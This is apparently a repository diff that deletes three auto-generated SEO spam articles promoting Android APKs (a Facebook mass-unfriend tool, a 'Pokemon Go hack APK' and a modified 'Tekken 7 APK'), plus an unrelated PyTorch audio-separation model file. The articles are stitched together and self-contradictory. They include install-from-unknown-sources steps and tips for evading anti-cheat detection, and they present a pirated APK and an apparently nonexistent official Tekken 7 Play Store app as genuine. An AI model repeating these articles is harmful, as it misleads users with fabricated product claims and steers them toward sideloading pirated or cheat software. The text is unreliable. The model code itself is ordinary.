-<li>It may not be reversible or reliable. Once you unfriend someone on Facebook, you cannot undo it unless you send them a friend request again and they accept it. However, they may not accept it, or they may not even see it if they have blocked you or changed their settings. Also, the app may not work properly or may fail to unfriend some of your friends due to technical issues or errors.</li>
-</ul>
-<h2>Alternatives to All Friends Remover for Facebook APK</h2>
-<p>If you are looking for other ways to unfriend your Facebook friends, there are some alternatives to All Friends Remover for Facebook APK that you can try. Here are some of them:</p>
-<h3>Facebook Unfriend Tool</h3>
-<p>This is a Chrome extension that allows you to unfriend all your Facebook friends in one click. It works similarly to All Friends Remover for Facebook APK, but it requires a Chrome browser and a PC. You can download it from [Chrome Web Store].</p>
-<h3>Friend Remover PRO - Delete All Friends</h3>
-<p>This is another Chrome extension that allows you to unfriend all your Facebook friends in one click. It also has some additional features, such as filtering by gender, country, or activity level. You can download it from [Chrome Web Store].</p>
-<h3>Unfriend All Friends For Facebook</h3>
-<p>This is another Android app that allows you to unfriend all your Facebook friends in one click. It has a simple interface and a fast performance. You can download it from [APKPure].</p>
-<h2>Conclusion</h2>
-<p>All Friends Remover for Facebook APK is an Android app that allows you to unfriend all your Facebook friends in just two clicks. It is fast, easy to use, and reliable. It can help you save time and effort, as well as improve your privacy and security on Facebook. However, it also has some drawbacks and risks, such as causing problems or misunderstandings with your friends, affecting your online reputation or relationships, or not being reversible or reliable. Therefore, you should use it with caution and discretion. You should also consider some alternatives to All Friends Remover for Facebook APK, such as Facebook Unfriend Tool, Friend Remover PRO - Delete All Friends, or Unfriend All Friends For Facebook. These are some other apps or extensions that can help you unfriend your Facebook friends in one click, with some additional features or options.</p>
-<h2>FAQs</h2>
-<p>Here are some frequently asked questions about All Friends Remover for Facebook APK:</p>
-<h3>Is All Friends Remover for Facebook APK safe to use?</h3>
-<p>All Friends Remover for Facebook APK is generally safe to use, as it does not contain any malware or viruses. However, it is not developed or endorsed by Facebook, and it requires your login credentials and permissions to access your friends list and unfriend them. Therefore, you should be careful when using any third-party app that asks for your personal information or access to your account, as they may pose some security risks or violate Facebook's terms of service.</p>
-<h3>Can I undo the unfriending action after using All Friends Remover for Facebook APK?</h3>
-<p>No, you cannot undo the unfriending action after using All Friends Remover for Facebook APK. Once you unfriend someone on Facebook, you cannot add them back unless you send them a friend request again and they accept it. However, they may not accept it, or they may not even see it if they have blocked you or changed their settings. Therefore, you should think carefully before using All Friends Remover for Facebook APK, and make sure that you really want to unfriend all your friends.</p>
-<h3>Will my friends know that I unfriended them using All Friends Remover for Facebook APK?</h3>
-<p>No, your friends will not know that you unfriended them using All Friends Remover for Facebook APK. The app does not send any notification or message to your friends when you unfriend them. However, they may notice that you are no longer on their friends list, or that they cannot see your posts or profile anymore. They may also try to visit your profile and see that you are no longer connected. Therefore, they may figure out that you unfriended them, and they may feel hurt or offended by your action.</p>
-<h3>Will All Friends Remover for Facebook APK delete my Facebook account?</h3>
-<p>No, All Friends Remover for Facebook APK will not delete your Facebook account. The app only removes your friends from your account, but it does not affect any other aspect of your account. You can still use your account normally after using the app, and you can still add new friends if you want to. However, if you want to delete your account completely, you will need to do it manually from the Facebook settings.</p>
-<h3>How can I contact the developer of All Friends Remover for Facebook APK?</h3>
-<p>The developer of All Friends Remover for Facebook APK is unknown, and there is no official website or contact information for the app. The app is distributed by third-party sources, such as [APKCombo], which do not provide any support or warranty for the app. Therefore, if you have any questions or issues with the app, you may not be able to contact the developer or get any help.</p> 197e85843d<br />
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-<h1>How to Download Hack Pokemon Go APK</h1>
-<p>Pokemon Go is a popular mobile game that uses augmented reality to let you catch, train, and battle virtual creatures in the real world. The game has millions of fans around the world who enjoy exploring new places, collecting items, and joining raids with other players. But what if you want to have an edge over your rivals and access more features and benefits in the game? That's where Pokemon Go hack APK comes in.</p>
-<p>Pokemon Go hack APK is a modified version of the original game that allows you to cheat and bypass some of the game's limitations. With this hack, you can teleport to any location, use a joystick to move around, auto-walk to hatch eggs, catch rare and legendary Pokemon, get unlimited items and coins, and more. Sounds tempting, right? But before you download and install Pokemon Go hack APK, you should be aware of the risks and dangers involved, as well as the legal issues that may arise from using it. In this article, we will explain everything you need to know about Pokemon Go hack APK, including its features, tips and tricks, risks and dangers, and legal issues.</p>
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- <h2>Features of Pokemon Go Hack APK</h2>
-<p>Pokemon Go hack APK has many features that can enhance your gaming experience and make you a better trainer. Here are some of the most notable ones:</p>
-<h3>Teleport, joystick, and auto-walk</h3>
-<p>One of the main features of Pokemon Go hack APK is that it allows you to teleport to any location in the world without actually moving. This means you can catch Pokemon that are exclusive to certain regions, visit PokeStops and gyms that are far away, and participate in events that are not available in your area. You can also use a joystick to move around the map without walking, which can save you time and energy. And if you want to hatch eggs without moving a muscle, you can use the auto-walk feature that will make your character walk automatically.</p>
-<h3>Catch rare and legendary Pokemon</h3>
-<p>Another feature of Pokemon Go hack APK is that it enables you to catch rare and legendary Pokemon that are normally hard to find or require special conditions to appear. For example, you can catch Mewtwo, Lugia, Ho-Oh, Rayquaza, Giratina, Kyurem, and other powerful Pokemon that are usually only available in raids or special events. You can also catch shiny Pokemon that have different colors than normal ones. With this hack, you can fill up your Pokedex faster and easier than ever.</p>
-<h3>Get unlimited items and coins</h3>
-<p>A third feature of Pokemon Go hack APK is that it gives you unlimited items and coins that you can use in the game. Items include Poke Balls, berries, potions, revives, incense, lures, lucky eggs, incubators, raid passes, etc. Coins are the in-game currency that you can use to buy items or upgrade your storage space. With this hack, you don't have to worry about running out of items or coins or spending real money on them.</p>
- <h2>Tips and Tricks for Playing Pokemon Go Hack APK</h2>
-<p>Pokemon Go hack APK can make your game more fun and exciting, but you should also be careful and smart when using it. Here are some tips and tricks that can help you play Pokemon Go hack APK safely and effectively:</p>
-<h3>Delete difficult tasks and claim rewards one by one</h3>
-<p>One of the tips for playing Pokemon Go hack APK is to delete the tasks that are too hard or time-consuming to complete, such as catching a certain number of Pokemon, walking a certain distance, or battling in a gym. You can do this by tapping on the bin icon next to the task in the Today or Field section of the game. This will free up space for new tasks that may be easier or more rewarding. You can also claim the rewards for each task one by one, instead of claiming them all at once. This will prevent you from getting banned or detected by the game's anti-cheat system, as it will look more natural and realistic.</p>
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-<h3>Save Stardust and build XP with Lucky Eggs</h3>
-<p>Another tip for playing Pokemon Go hack APK is to save your Stardust and use it wisely. Stardust is a valuable resource that you need to power up and evolve your Pokemon. You can get Stardust by catching Pokemon, hatching eggs, completing tasks, participating in raids, etc. However, you should not spend it on every Pokemon you catch, as some of them may not be worth it or may be replaced by better ones later. You should only use Stardust on the Pokemon that have high IVs (individual values), high CP (combat power), and useful movesets. You can check these stats by using an app like Poke Genie or Calcy IV. You should also use Lucky Eggs to boost your XP (experience points) and level up faster. Lucky Eggs are items that double your XP for 30 minutes. You can get them by leveling up, completing tasks, or buying them with coins. You should use Lucky Eggs when you have a lot of Pokemon to evolve, as each evolution gives you 500 XP (or 1000 XP with a Lucky Egg). You can also use Lucky Eggs when you participate in raids, catch rare Pokemon, or complete special tasks.</p>
-<h3>Throw Pokeballs correctly and catch legendary Pokemon</h3>
-<p>A third tip for playing Pokemon Go hack APK is to throw your Pokeballs correctly and catch legendary Pokemon. Throwing Pokeballs is an art that requires skill and practice. You should aim for the center of the circle that appears around the Pokemon, as this will increase your chances of hitting it and catching it. You should also try to throw curveballs, which are balls that spin in the air before landing. Curveballs give you a bonus XP and increase your catch rate. You can throw curveballs by spinning the ball in a circular motion before releasing it. You should also use different types of balls depending on the difficulty of the Pokemon. For example, you should use Great Balls or Ultra Balls for rare or strong Pokemon, and Master Balls for legendary Pokemon. Legendary Pokemon are the most powerful and sought-after Pokemon in the game. They include Mewtwo, Lugia, Ho-Oh, Rayquaza, Giratina, Kyurem, etc. You can catch legendary Pokemon by participating in raids or using the teleport feature of Pokemon Go hack APK. However, you should be careful when doing so, as legendary Pokemon are very hard to catch and may flee if you fail.</p>
- <h2>Risks and Dangers of Playing Pokemon Go Hack APK</h2>
-<p>Pokemon Go hack APK may sound like a dream come true for many players, but it also comes with many risks and dangers that you should be aware of. Here are some of the most common ones:</p>
-<h3>Accidents and injuries</h3>
-<p>One of the risks of playing Pokemon Go hack APK is that it may cause accidents and injuries to yourself or others. Even though you are using a hack that allows you to teleport or move around without walking, you still need to pay attention to your surroundings and be careful where you go. You may encounter obstacles, hazards, or dangers that may harm you or others. For example, you may trip over a curb, fall down a stairs, bump into a wall, cross a busy street, enter a restricted area, etc. You may also damage your device or lose your internet connection if you go to places that have poor signal or coverage. To avoid these risks, you should always look where you are going, follow the traffic rules, respect the property rights, and stay alert and aware.</p>
-<h3>Muggings and trespassing</h3>
-<p>Another risk of playing Pokemon Go hack APK is that it may expose you to muggings and trespassing. Even though you are using a hack that allows you to catch rare and legendary Pokemon without traveling far away, you still need to be careful about your personal safety and security. You may attract unwanted attention or suspicion from other people who may see you playing the game or holding your device. You may also encounter criminals or scammers who may try to rob you, hack you, or trick you into giving them your personal information or money. For example, you may be lured into a trap, followed by a stranger, offered a fake deal, or sent a phishing link. To avoid these risks, you should always play in public and well-lit places, avoid shady or unfamiliar areas, keep your device and account secure, and report any suspicious or illegal activity.</p>
-<h3>Privacy and data breaches</h3>
-<p>A third risk of playing Pokemon Go hack APK is that it may compromise your privacy and data. Even though you are using a hack that allows you to spoof your location and access more features and benefits in the game, you still need to be wary of the potential consequences of doing so. You may violate the terms of service and privacy policy of the game, which may result in your account being banned or deleted. You may also expose your personal information and data to third parties who may use it for malicious purposes. For example, you may reveal your real location, identity, contacts, preferences, habits, etc. You may also download malware or viruses that may harm your device or steal your data. To avoid these risks, you should always read and understand the terms and conditions and privacy policy of the game, use a VPN (virtual private network) or a burner email to hide your IP address and identity, and scan your device and files for any threats.</p>
- <h2>Legal Issues of Playing Pokemon Go Hack APK</h2>
-<p>Pokemon Go hack APK may not only pose risks and dangers to yourself and others, but it may also raise legal issues that you should be aware of. Here are some of the most common ones:</p>
-<h3>Liability for personal injury and property damage</h3>
-<p>One of the legal issues of playing Pokemon Go hack APK is that it may make you liable for personal injury and property damage that you or others may cause or suffer while playing the game. Even though you are using a hack that allows you to teleport or move around without walking, you still need to be responsible for your actions and behavior. You may injure yourself or others, or damage someone else's property, as a result of playing the game. For example, you may crash into a car, hit a pedestrian, break a window, knock over a vase, etc. You may also be sued by the injured party or the property owner for compensation or damages. To avoid these legal issues, you should always follow the law and respect the rights of others, avoid causing harm or damage to anyone or anything, and have insurance or funds to cover any potential liability.</p>
-<h3>Intellectual property infringement and piracy</h3>
-<p>Another legal issue of playing Pokemon Go hack APK is that it may constitute intellectual property infringement and piracy. Intellectual property refers to the creations of the mind, such as inventions, designs, logos, names, etc. Piracy refers to the unauthorized use or distribution of someone else's intellectual property without their permission or consent. Pokemon Go hack APK is a modified version of the original game that belongs to Niantic Inc., The Pokemon Company, and Nintendo Co., Ltd. By downloading and installing Pokemon Go hack APK, you are infringing and pirating their intellectual property rights, which may result in legal action or penalties. For example, you may be sued for damages, fined, or jailed for violating the law. You may also be banned or blocked from accessing the game or its services. To avoid these legal issues, you should respect the intellectual property rights of the game developers and owners, and only use the official version of the game that is authorized and licensed by them.</p>
-<h3>Augmented reality regulation and virtual currency taxation</h3>
-<p>A third legal issue of playing Pokemon Go hack APK is that it may involve augmented reality regulation and virtual currency taxation. Augmented reality refers to the technology that overlays digital information or images on the physical world, such as Pokemon Go. Virtual currency refers to the digital money that is used in online games or platforms, such as coins in Pokemon Go. Both augmented reality and virtual currency are relatively new and emerging phenomena that may not have clear or consistent laws or regulations in different countries or jurisdictions. By playing Pokemon Go hack APK, you may be subject to different rules or requirements that may affect your rights and obligations. For example, you may need a permit or license to use augmented reality in certain places or situations, or you may need to pay taxes on your virtual currency transactions or income. To avoid these legal issues, you should be aware of and comply with the laws and regulations that apply to augmented reality and virtual currency in your location or destination.</p>
- <h1>Conclusion</h1>
-<p>Pokemon Go hack APK is a tempting option for many players who want to enjoy more features and benefits in the game. However, it also comes with many risks and dangers that may harm yourself or others, as well as legal issues that may result in serious consequences. Therefore, you should think twice before downloading and installing Pokemon Go hack APK, and weigh the pros and cons carefully. You should also follow the tips and tricks that we have provided to play Pokemon Go hack APK safely and effectively. Remember, Pokemon Go is a game that is meant to be fun and fair for everyone, so don't ruin it for yourself or others by cheating or hacking.</p>
- <h2>FAQs</h2>
-<p>Here are some of the frequently asked questions about Pokemon Go hack APK:</p>
-<h3>Q: Where can I download Pokemon Go hack APK?</h3>
-<p>A: You can download Pokemon Go hack APK from various websites or sources online, but you should be careful and cautious when doing so. Some of these websites or sources may be unreliable, untrustworthy, or illegal, and may contain malware or viruses that may harm your device or data. You should only download Pokemon Go hack APK from reputable and verified websites or sources that have positive reviews and feedback from other users.</p>
-<h3>Q: How can I install Pokemon Go hack APK?</h3>
-<p>A: You can install Pokemon Go hack APK by following these steps:</p>
-<ol>
-<li>Download the Pokemon Go hack APK file from a reliable and verified website or source.</li>
-<li>Go to your device's settings and enable the option to install apps from unknown sources.</li>
-<li>Locate the downloaded file in your device's storage and tap on it to start the installation process.</li>
-<li>Follow the instructions on the screen and grant the necessary permissions to the app.</li>
-<li>Wait for the installation to finish and launch the app.</li>
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-<h3>Q: How can I update Pokemon Go hack APK?</h3>
-<p>A: You can update Pokemon Go hack APK by following these steps:</p>
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-<li>Go to the website or source where you downloaded the Pokemon Go hack APK file and check if there is a new version available.</li>
-<li>If there is a new version available, download it to your device.</li>
-<li>Uninstall the old version of Pokemon Go hack APK from your device.</li>
-<li>Install the new version of Pokemon Go hack APK by following the same steps as above.</li>
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-<h3>Q: Is Pokemon Go hack APK safe?</h3>
-<p>A: No, Pokemon Go hack APK is not safe. It may cause accidents and injuries to yourself or others, expose you to muggings and trespassing, compromise your privacy and data, violate the terms of service and privacy policy of the game, infringe and pirate the intellectual property rights of the game developers and owners, and subject you to different laws and regulations regarding augmented reality and virtual currency. It may also result in your account being banned or deleted by the game's anti-cheat system. Therefore, you should avoid using Pokemon Go hack APK at all costs.</p>
-<h3>Q: Is there a legal way to play Pokemon Go with more features and benefits?</h3>
-<p>A: Yes, there is a legal way to play Pokemon Go with more features and benefits without using Pokemon Go hack APK. You can do this by following these steps:</p>
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-<li>Download and install the official version of Pokemon Go from the Google Play Store or the Apple App Store.</li>
-<li>Create an account and choose your avatar and team.</li>
-<li>Start playing the game by exploring your surroundings, catching Pokemon, collecting items, joining raids, etc.</li>
-<li>Earn coins by defending gyms or completing tasks, and use them to buy items or upgrade your storage space.</li>
-<li>Join a community of Pokemon Go players online or offline, and share tips, tricks, news, events, etc.</li>
-<li>Participate in special events and promotions that may offer more features and benefits, such as discounts, bonuses, rewards, etc.</li>
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-<p>By playing Pokemon Go legally, you can enjoy the game more and avoid the risks and dangers of Pokemon Go hack APK. You can also support the game developers and owners who work hard to create and maintain the game for you.</p> 401be4b1e0<br />
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-<h1>Tekken 7 Download Android: How to Play the Ultimate Fighting Game on Your Smartphone</h1>
-<p>If you are a fan of fighting games, you have probably heard of <strong>Tekken</strong>, one of the most iconic and successful franchises in the genre. The latest installment, <strong>Tekken 7</strong>, is a masterpiece of action-packed, cinematic, and competitive gameplay that will keep you hooked for hours.</p>
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-<p>But did you know that you can also play Tekken 7 on your Android device? Yes, you read that right. You can enjoy the thrill of Tekken 7 anytime, anywhere, on your smartphone or tablet. In this article, we will show you how to download and install Tekken 7 for Android, how to play it like a pro, and how to enjoy it to the fullest.</p>
-<h2>What is Tekken 7?</h2>
-<p>Tekken 7 is a fighting game developed by Bandai Namco Studios and published by Bandai Namco Entertainment. It is the ninth main entry in the Tekken series, which started in 1994 as an arcade game.</p>
-<p>Tekken 7 follows the story of the Mishima clan, a powerful family that is involved in a long-running feud over control of the world. The game features over 50 characters from different countries and backgrounds, each with their own fighting style, personality, and motivation. Some of them are new to the series, such as Akuma from Street Fighter, while others are returning favorites, such as Jin Kazama, Nina Williams, and King.</p>
-<p>Tekken 7 was released for arcade machines in Japan in March 2015, and later received updates that added new characters, stages, modes, and features. The game was port ed to PlayStation 4, Xbox One, and Windows PC in June 2017, and received positive reviews from critics and players alike. The game has sold over 7 million copies worldwide as of March 2021, making it one of the best-selling fighting games of all time.</p>
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-<h3>Stunning Graphics and Cinematics</h3>
-<p>One of the most impressive aspects of Tekken 7 is its graphics and cinematics, which are powered by Unreal Engine 4. The game boasts realistic and detailed character models, animations, and environments, as well as dynamic lighting and shadows, particle effects, and reflections. The game also features seamless transitions between gameplay and cutscenes, creating a cinematic experience that immerses you in the story and the action.</p>
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-<p>Another feature that makes Tekken 7 stand out is its diverse and customizable roster of fighters. The game offers over 50 characters to choose from, each with their own unique moves, combos, strengths, and weaknesses. You can also customize your characters with various outfits, accessories, hairstyles, tattoos, and more, to express your personality and style. You can even create your own original characters using the Character Creation mode, which lets you mix and match different parts and features from existing characters.</p>
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-<p>The core of Tekken 7 is its innovative and accessible combat system, which is designed to appeal to both casual and hardcore fans of fighting games. The game introduces new mechanics and modes that add depth and variety to the gameplay, such as:</p>
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-<li><strong>Rage Art:</strong> A powerful attack that can be activated when your health is low, allowing you to deal massive damage and turn the tide of the battle.</li>
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-<li><strong>Frame Data Display:</strong> An optional feature that shows you the frame data of each move, such as startup, recovery, advantage, and disadvantage, helping you to improve your skills and strategies.</li>
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-<h3>Tekken 7 Apk Download for Android (Latest Version) 2022</h3>
-<p>If you want to play Tekken 7 on your Android device without any restrictions or limitations, you can download the Tekken 7 apk file from a reliable source. This is a modified version of the game that allows you to enjoy all the features and content of the original game on your smartphone or tablet. To download and install the Tekken 7 apk file for Android, follow these steps:</p>
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-<li>Go to the website where you can download the Tekken 7 apk file, and click on the download button.</li>
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-<li>Before installing the file, make sure that you have enabled the option to install apps from unknown sources on your device settings.</li>
-<li>Tap on the file to start the installation process, and follow the instructions on the screen.</li>
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-<p>The benefits of using this method are:</p>
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-<li>You can play Tekken 7 on your Android device without any internet connection or data usage.</li>
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-</ul> <h3>Tekken 7 Mobile Download for Android (Official Version) 2022</h3>
-<p>If you prefer to play the official version of Tekken 7 on your Android device, you can download the Tekken 7 mobile app from the Google Play Store. This is a simplified and optimized version of the game that is designed to run smoothly on mobile devices. To download and install the Tekken 7 mobile app for Android, follow these steps:</p>
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-<li>Go to the Google Play Store on your device, and search for Tekken 7.</li>
-<li>Select the app from the list of results, and tap on the install button.</li>
-<li>Wait for the app to download and install on your device.</li>
-<li>Launch the app and sign in with your Bandai Namco account or create a new one.</li>
-<li>Start playing Tekken 7 on your Android device.</li>
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-<p>The features and limitations of this version are:</p>
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-<li>You need an internet connection and data usage to play Tekken 7 on your Android device.</li>
-<li>You have limited access to some of the characters, stages, modes, and features of Tekken 7, and you need to unlock them with in-app purchases or by completing missions.</li>
-<li>You have to adjust your game settings according to the default options and device compatibility.</li>
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-<h2>How to Play Tekken 7 on Android?</h2>
-<h3>Tips and Tricks for Beginners</h3>
-<p>If you are new to Tekken 7 or fighting games in general, you might feel overwhelmed by the complexity and difficulty of the game. But don't worry, we have some tips and tricks for beginners that will help you get started and improve your skills. Here are some of them:</p>
-<ul>
-<li>Learn the moves: The first thing you need to do is to learn the basic moves of each character, such as punches, kicks, throws, blocks, and dodges. You can find the move list in the pause menu or in the training mode. You can also watch some tutorials or guides online that will teach you how to perform each move and when to use them.</li>
-<li>Practice in training mode: The best way to practice your moves and combos is to use the training mode, which lets you choose any character, stage, and opponent. You can also customize the settings, such as the difficulty, health, and behavior of the opponent. You can also use the frame data display feature to see how each move works and how to counter them.</li>
-<li>Adjust the settings: Another thing you need to do is to adjust the game settings according to your preferences and device performance. You can change the graphics quality, sound volume, control layout, camera angle, and more. You can also enable or disable some features, such as auto-combo, rage art, power crush, and frame data display.</li>
-</ul> <h3>Tips and Tricks for Advanced Players</h3>
-<p>If you are already familiar with Tekken 7 or fighting games in general, you might want to take your skills to the next level and challenge yourself with more advanced techniques and strategies. Here are some tips and tricks for advanced players that will help you master the game and dominate your opponents:</p>
-<ul>
-<li>Master the combos: The key to winning in Tekken 7 is to execute powerful and effective combos that can deal a lot of damage and stun your opponent. You can learn the combos of each character from the move list, the training mode, or online sources. You can also create your own combos by combining different moves and experimenting with different timings and distances.</li>
-<li>Use the frame data: One of the most useful features of Tekken 7 is the frame data display, which shows you the frame data of each move, such as startup, recovery, advantage, and disadvantage. You can use this information to understand how each move works and how to counter them. You can also use it to find openings, punish mistakes, and create pressure.</li>
-<li>Join online tournaments: One of the most exciting and rewarding ways to play Tekken 7 is to join online tournaments, which let you compete with other players from around the world in ranked or casual matches. You can also create your own tournaments with up to eight participants. You can earn rewards, rankings, and trophies by participating in online tournaments, as well as improve your skills and reputation.</li>
-</ul>
-<h2>How to Enjoy Tekken 7 on Android?</h2>
-<h3>Review and Rating of Tekken 7</h3>
-<p>Tekken 7 is widely regarded as one of the best fighting games ever made, and it has received rave reviews from critics and players alike. The game has an average score of 82 out of 100 on Metacritic, based on 91 reviews from various sources. The game has also received a user score of 8.1 out of 10 on Metacritic, based on 1,028 ratings from players.</p>
-<p>Some of the praises that Tekken 7 has received are:</p>
-<ul>
-<li>"Tekken 7 is a hallmark fighting game that's both accessible and highly technical, offering a diverse cast of characters and a robust suite of modes." - IGN</li>
-<li>"Tekken 7 is one of the most fun fighting games I've ever played. It's fast-paced, flashy, strategic, and satisfying." - Game Informer</li>
-<li>"Tekken 7 is a fantastic fighting game experience that offers something for everyone." - GamesRadar+</li>
-</ul>
-<h3>Comparison with Other Fighting Games on Android</h3>
-<p>Tekken 7 is not the only fighting game that you can play on your Android device. There are many other fighting games available on the Google Play Store that offer different features, styles, and experiences. Here are some of the most popular fighting games on Android that you can compare with Tekken 7:</p>
- | Game | Features | Pros | Cons | | --- | --- | --- | --- | | Street Fighter IV Champion Edition | - Classic 2D fighting game with 32 characters from the Street Fighter series.<br>- Three control options: virtual pad, arcade stick, or Bluetooth controller.<br>- Online multiplayer mode with cross-platform support.<br>- Arcade mode, training mode, survival mode, and challenge mode.<br>- Customizable graphics settings. | - Smooth and responsive gameplay.<br>- Iconic and diverse characters.<br>- High replay value.<br>- Great sound effects and music. | - Requires internet connection.<br>- Some characters require in-app purchases.<br>- No story mode.<br>- Occasional lag and connection issues. | | Mortal Kombat | - Brutal 3D fighting game with over 130 characters from the Mortal Kombat universe.<br>- Fatalities, X-Rays, and Brutalities for each character.<br>- Online multiplayer mode with faction wars, team battles, and leaderboards.<br>- Story mode, tower mode, challenge mode, and relic hunt mode.<br>- Customizable equipment and abilities for each character. | - Stunning graphics and animations.<br>- Intense and visceral combat.<br>- Engaging and immersive story.<br>- Generous rewards and content. | - Requires internet connection.<br>- High device requirements.<br>- Frequent updates and patches.<br>- Grindy and pay-to-win aspects. | | Injustice 2 | - Superhero 3D fighting game with over 40 characters from the DC Comics universe.<br>- Super Moves, Special Attacks, and Gear System for each character.<br>- Online multiplayer mode with arena battles, leagues, raids, and chat.<br>- Story mode, operations mode, challenges mode , and events mode.<br>- Customizable graphics settings. | - Impressive graphics and cinematics.<br>- Fun and varied gameplay.<br>- Rich and compelling story.<br>- Lots of modes and features. | - Requires internet connection.<br>- High device requirements.<br>- Long loading times.<br>- Expensive and limited in-app purchases. | <p>As you can see, each game has its own strengths and weaknesses, and it ultimately depends on your personal preference and taste. However, we believe that Tekken 7 is the best fighting game on Android, because it offers a balanced and satisfying experience that combines stunning graphics, diverse characters, innovative combat, and online tournaments.</p>
-<h2>Conclusion</h2>
-<p>Tekken 7 is a game that every fighting game fan should play, especially on their Android device. It is a game that delivers on every aspect, from the graphics and cinematics, to the characters and combat, to the modes and features. It is a game that will challenge you, entertain you, and inspire you.</p>
-<p>If you want to play Tekken 7 on your Android device, you have two options: you can download the Tekken 7 apk file from a reliable source, or you can download the official Tekken 7 mobile app from the Google Play Store. Either way, you will be able to enjoy the ultimate fighting game on your smartphone or tablet.</p>
-<p>So what are you waiting for? Download Tekken 7 for Android today, and unleash your inner fighter!</p>
-<h2>FAQs</h2>
-<p>Here are some of the frequently asked questions about Tekken 7 download android:</p>
-<ul>
-<li><strong>Q: Is Tekken 7 free to play on Android?</strong><br>A: Yes, both the Tekken 7 apk file and the official Tekken 7 mobile app are free to download and play on Android devices. However, some characters, stages, modes, and features may require in-app purchases or unlocking by completing missions.</li>
-<li><strong>Q: Is Tekken 7 safe to download on Android?</strong><br>A: Yes, as long as you download the Tekken 7 apk file or the official Tekken 7 mobile app from a reliable and trusted source. You should also scan the file or app with an antivirus software before installing it on your device.</li>
-<li><strong>Q: Is Tekken 7 compatible with my Android device?</strong><br>A: The Tekken 7 apk file is compatible with most Android devices that have at least 2 GB of RAM and 4 GB of storage space. The official Tekken 7 mobile app is compatible with Android devices that have at least Android 5.0 (Lollipop) and 1 GB of RAM.</li>
-<li><strong>Q: How can I update Tekken 7 on my Android device?</strong><br>A: If you downloaded the Tekken 7 apk file, you will need to download the latest version of the file from the same source and install it over the existing one. If you downloaded the official Tekken 7 mobile app, you will need to update it from the Google Play Store when a new version is available.</li>
-<li><strong>Q: How can I contact the developers of Tekken 7?</strong><br>A: If you have any questions, feedback, or issues regarding Tekken 7, you can contact the developers of Tekken 7 by visiting their official website, their Facebook page, their Twitter account, or their YouTube channel.</li>
-</ul></p> 197e85843d<br />
-<br />
-<br />

spaces/801artistry/RVC801/infer/lib/uvr5_pack/lib_v5/nets_new.py

@@ -1,133 +0,0 @@
-import torch
-import torch.nn.functional as F
-from torch import nn
-
-from . import layers_new
-
-
-class BaseNet(nn.Module):
-    def __init__(
-        self, nin, nout, nin_lstm, nout_lstm, dilations=((4, 2), (8, 4), (12, 6))
-    ):
-        super(BaseNet, self).__init__()
-        self.enc1 = layers_new.Conv2DBNActiv(nin, nout, 3, 1, 1)
-        self.enc2 = layers_new.Encoder(nout, nout * 2, 3, 2, 1)
-        self.enc3 = layers_new.Encoder(nout * 2, nout * 4, 3, 2, 1)
-        self.enc4 = layers_new.Encoder(nout * 4, nout * 6, 3, 2, 1)
-        self.enc5 = layers_new.Encoder(nout * 6, nout * 8, 3, 2, 1)
-
-        self.aspp = layers_new.ASPPModule(nout * 8, nout * 8, dilations, dropout=True)
-
-        self.dec4 = layers_new.Decoder(nout * (6 + 8), nout * 6, 3, 1, 1)
-        self.dec3 = layers_new.Decoder(nout * (4 + 6), nout * 4, 3, 1, 1)
-        self.dec2 = layers_new.Decoder(nout * (2 + 4), nout * 2, 3, 1, 1)
-        self.lstm_dec2 = layers_new.LSTMModule(nout * 2, nin_lstm, nout_lstm)
-        self.dec1 = layers_new.Decoder(nout * (1 + 2) + 1, nout * 1, 3, 1, 1)
-
-    def __call__(self, x):
-        e1 = self.enc1(x)
-        e2 = self.enc2(e1)
-        e3 = self.enc3(e2)
-        e4 = self.enc4(e3)
-        e5 = self.enc5(e4)
-
-        h = self.aspp(e5)
-
-        h = self.dec4(h, e4)
-        h = self.dec3(h, e3)
-        h = self.dec2(h, e2)
-        h = torch.cat([h, self.lstm_dec2(h)], dim=1)
-        h = self.dec1(h, e1)
-
-        return h
-
-
-class CascadedNet(nn.Module):
-    def __init__(self, n_fft, nout=32, nout_lstm=128):
-        super(CascadedNet, self).__init__()
-
-        self.max_bin = n_fft // 2
-        self.output_bin = n_fft // 2 + 1
-        self.nin_lstm = self.max_bin // 2
-        self.offset = 64
-
-        self.stg1_low_band_net = nn.Sequential(
-            BaseNet(2, nout // 2, self.nin_lstm // 2, nout_lstm),
-            layers_new.Conv2DBNActiv(nout // 2, nout // 4, 1, 1, 0),
-        )
-
-        self.stg1_high_band_net = BaseNet(
-            2, nout // 4, self.nin_lstm // 2, nout_lstm // 2
-        )
-
-        self.stg2_low_band_net = nn.Sequential(
-            BaseNet(nout // 4 + 2, nout, self.nin_lstm // 2, nout_lstm),
-            layers_new.Conv2DBNActiv(nout, nout // 2, 1, 1, 0),
-        )
-        self.stg2_high_band_net = BaseNet(
-            nout // 4 + 2, nout // 2, self.nin_lstm // 2, nout_lstm // 2
-        )
-
-        self.stg3_full_band_net = BaseNet(
-            3 * nout // 4 + 2, nout, self.nin_lstm, nout_lstm
-        )
-
-        self.out = nn.Conv2d(nout, 2, 1, bias=False)
-        self.aux_out = nn.Conv2d(3 * nout // 4, 2, 1, bias=False)
-
-    def forward(self, x):
-        x = x[:, :, : self.max_bin]
-
-        bandw = x.size()[2] // 2
-        l1_in = x[:, :, :bandw]
-        h1_in = x[:, :, bandw:]
-        l1 = self.stg1_low_band_net(l1_in)
-        h1 = self.stg1_high_band_net(h1_in)
-        aux1 = torch.cat([l1, h1], dim=2)
-
-        l2_in = torch.cat([l1_in, l1], dim=1)
-        h2_in = torch.cat([h1_in, h1], dim=1)
-        l2 = self.stg2_low_band_net(l2_in)
-        h2 = self.stg2_high_band_net(h2_in)
-        aux2 = torch.cat([l2, h2], dim=2)
-
-        f3_in = torch.cat([x, aux1, aux2], dim=1)
-        f3 = self.stg3_full_band_net(f3_in)
-
-        mask = torch.sigmoid(self.out(f3))
-        mask = F.pad(
-            input=mask,
-            pad=(0, 0, 0, self.output_bin - mask.size()[2]),
-            mode="replicate",
-        )
-
-        if self.training:
-            aux = torch.cat([aux1, aux2], dim=1)
-            aux = torch.sigmoid(self.aux_out(aux))
-            aux = F.pad(
-                input=aux,
-                pad=(0, 0, 0, self.output_bin - aux.size()[2]),
-                mode="replicate",
-            )
-            return mask, aux
-        else:
-            return mask
-
-    def predict_mask(self, x):
-        mask = self.forward(x)
-
-        if self.offset > 0:
-            mask = mask[:, :, :, self.offset : -self.offset]
-            assert mask.size()[3] > 0
-
-        return mask
-
-    def predict(self, x, aggressiveness=None):
-        mask = self.forward(x)
-        pred_mag = x * mask
-
-        if self.offset > 0:
-            pred_mag = pred_mag[:, :, :, self.offset : -self.offset]
-            assert pred_mag.size()[3] > 0
-
-        return pred_mag

